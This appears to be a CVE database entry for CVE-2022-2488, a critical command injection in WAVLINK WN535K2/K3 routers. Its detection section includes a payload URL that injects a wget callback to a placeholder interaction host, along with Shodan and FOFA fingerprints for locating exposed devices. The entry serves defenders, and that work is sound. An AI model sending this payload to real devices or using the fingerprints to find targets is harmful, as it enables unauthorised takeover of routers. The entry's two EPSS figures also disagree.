cbcvebase.
CVE-2022-2488
published 2022-07-20

CVE-2022-2488: A vulnerability was found in WAVLINK WN535K2 and WN535K3 and classified as critical. This issue affects some unknown processing of the file…

PriorityP186critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
28.72%
97.9th percentile
A vulnerability was found in WAVLINK WN535K2 and WN535K3 and classified as critical. This issue affects some unknown processing of the file /cgi-bin/touchlist_sync.cgi. The manipulation of the argument IP leads to os command injection. The exploit has been disclosed to the public and may be used.

Affected

2 ranges
VendorProductVersion rangeFixed in
wavlinkwn535k2
wavlinkwn535k3

Detection & IOCsextracted from sources · hover to see the quote

path/cgi-bin/touchlist_sync.cgi
url/cgi-bin/touchlist_sync.cgi?IP=;wget+http://{{interactsh-url}};
  • Look for HTTP requests to /cgi-bin/touchlist_sync.cgi with shell metacharacters (e.g., semicolons) in the IP parameter, indicating OS command injection attempts.
  • Shodan fingerprint for exposed Wavlink devices: search for HTTP title 'Wi-Fi APP Login' or 'wi-fi app login'.
  • FOFA/Google fingerprint for exposed Wavlink devices: title equals 'wi-fi app login'.
  • Exploitation produces an HTTP 500 response status from the target device; use this in combination with an out-of-band (OAST/interactsh) HTTP callback to confirm successful command injection.
  • Confirm exploitation via out-of-band HTTP interaction: a successful injection will trigger an outbound HTTP request (wget) to an attacker-controlled server.
  • ·The vulnerability is unauthenticated (no credentials required), making it exploitable remotely without prior access.
  • ·The exploit requires only a single HTTP GET request (max-request: 1), lowering the bar for automated scanning and exploitation.
  • ·EPSS score of 0.9332 (99.8th percentile) indicates this CVE is very likely being actively exploited in the wild.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck8.0HIGH
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